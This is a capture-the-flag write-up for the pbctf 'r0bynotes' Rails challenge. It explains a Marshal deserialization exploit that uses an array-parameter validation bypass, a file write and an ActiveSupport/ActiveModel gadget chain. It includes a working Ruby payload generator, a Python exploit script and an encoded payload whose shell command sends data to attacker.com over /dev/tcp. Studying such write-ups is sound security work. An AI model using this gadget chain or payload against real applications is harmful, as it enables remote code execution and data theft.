Rails is secure by default so it’s perfect for my amazing notes app https://r0bynotes.chal.perfect.blue - source Note: If you find the flag, please remove the flag{..} wrapper and wrap it with pbctf{…} instead

We’re presented with a ruby-on-rails application, which always comes with a lot of files, directory and other kinds of cruft, so let’s get down to the files that normally really matter: the controllers. (On the way to opening that folder, also note that there’s a read_flag binary, so we’ll need to get RCE.) Upon looking at the note controller, we see something very interesting: there’s a Marshal.load happening. Those are always a good sign of potential exploits ahead. The first snag: the deserialization is reading from a file we can’t seem to control other than by having something Marshal.dumped into it.

Let’s see if we can get a file write with other contents somewhere. In the users controller, the user id is used as filename, with name – something else we can control – as file contents. So if we could get a user id of say /notes/something_here, we could use name to dump our deserialization payload, then access the note something_here and get our victory. The only obstacle:

def valid_user_id?
    raise ActionController::BadRequest.new("invalid username") if raw_user_id&.count("^a-z0-9") > 0
end

Testing some standard web stuff, we discover that providing the id as id[]=/notes/something_here works perfectly. This probably works because calling count on list doesn’t use regular expressions. One more problem that we encountered concerns the matter of url encoding. As it turns out, ruby expects the payload to be encoded in UTF-8 first, so e.g. sending %FF directly wouldn’t work, but should be %C3%BF instead. Using encodeURIComponent in the browser console automatically does this, while python’s urllib.parse.quote, which we were using, does not.

Alright, we’ve got deserialization, time to find a gadget chain we can use. Most gadget chains to be found online somehow rely on ERB being present, but currently, rails uses Erubi as is erb processor, which does not have the same easy eval, unfortunately. Browsing through the source code some more it is…

Grepping through the rails source code for useful evals or systems, we eventually came across ActiveModel::AttributeMethods::ClassMethods::CodeGenerator, which evals its sources list when calling the execute method. To trigger this, we can use the standard ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy trick, which will call a method of our choice when essentially any other method would be used on our deserialized payload. The final problem we encounter along this path is that the DeprecatedInstanceVariableProxy tries to call @logger.warn, which fails if we don’t set a logger. We failed at using the default, existing logger that would normally be used, and the Logger in the standard library has the wrong function signature to fit here (using STDOUT as argument for this logger makes it impossible to serialize it, but nil works perfectly fine otherwise). So, more grepping it is, this time for warn methods. Soon enough, we managed to find that Kernel.warn works, gadget chain ready to deploy.

Generating the payload:

require "base64"
require 'securerandom'

module ActiveModel; module AttributeMethods; module ClassMethods; class CodeGenerator; end; end; end; end;
module ActiveSupport;class Deprecation;module Reporting; end;class DeprecatedInstanceVariableProxy;end;end;end

code = "%x(/bin/bash -c '/read_flag > /dev/tcp/attacker.com/4444')"

target = ActiveModel::AttributeMethods::ClassMethods::CodeGenerator.allocate
target.instance_variable_set :@sources, [code]
target.instance_variable_set :@owner, ActiveModel::AttributeMethods::ClassMethods
target.instance_variable_set :@path, "(pwned)"
target.instance_variable_set :@line, 1
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, target
proxy.instance_variable_set :@method, :execute
proxy.instance_variable_set :@deprecator, Kernel

puts Base64.encode64((Marshal.dump(proxy)).force_encoding "ascii-8bit").gsub "\n", "";

And then creating the file, with a nc receiver ready to catch the flag when we visit the printed URL:

import base64
from requests import Session
from secrets import token_hex

URL = "https://r0bynotes.chal.perfect.blue"
# URL = "http://localhost:3000"

rnd = lambda: token_hex(10)

def quote(x):
    if not isinstance(x, bytes):
        x = x.encode()
    return ''.join(f'%{hex(z)[2:].zfill(2)}' for y in x for z in chr(y).encode())

s = Session()
def create(username, name, id):
    token = s.get(f"{URL}/users/new").text.split('"authenticity_token" value="')[1].split('"')[0]
    print(f"{URL}{id}")
    data = f'authenticity_token={quote(token)}&user[username]={quote(username)}&user[name]={quote(name)}&id[]={quote(id)}'
    return s.post(f"{URL}/users", headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=data, allow_redirects=False).status_code

name = "BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86P0FjdGl2ZU1vZGVsOjpBdHRyaWJ1dGVNZXRob2RzOjpDbGFzc01ldGhvZHM6OkNvZGVHZW5lcmF0b3IJOg1Ac291cmNlc1sGSSI/JXgoL2Jpbi9iYXNoIC1jICcvcmVhZF9mbGFnID4gL2Rldi90Y3AvYXR0YWNrZXIuY29tLzQ0NDQnKQY6BkVUOgtAb3duZXJtMEFjdGl2ZU1vZGVsOjpBdHRyaWJ1dGVNZXRob2RzOjpDbGFzc01ldGhvZHM6CkBwYXRoSSIMKHB3bmVkKQY7CVQ6CkBsaW5laQY6DEBtZXRob2Q6DGV4ZWN1dGU6EEBkZXByZWNhdG9ybQtLZXJuZWw="
print(create(f'organizers_{rnd()}', base64.b64decode(name), '/notes/' + rnd()))

Flag: pbctf{wh3n_c0un7_d035n7_c0un7}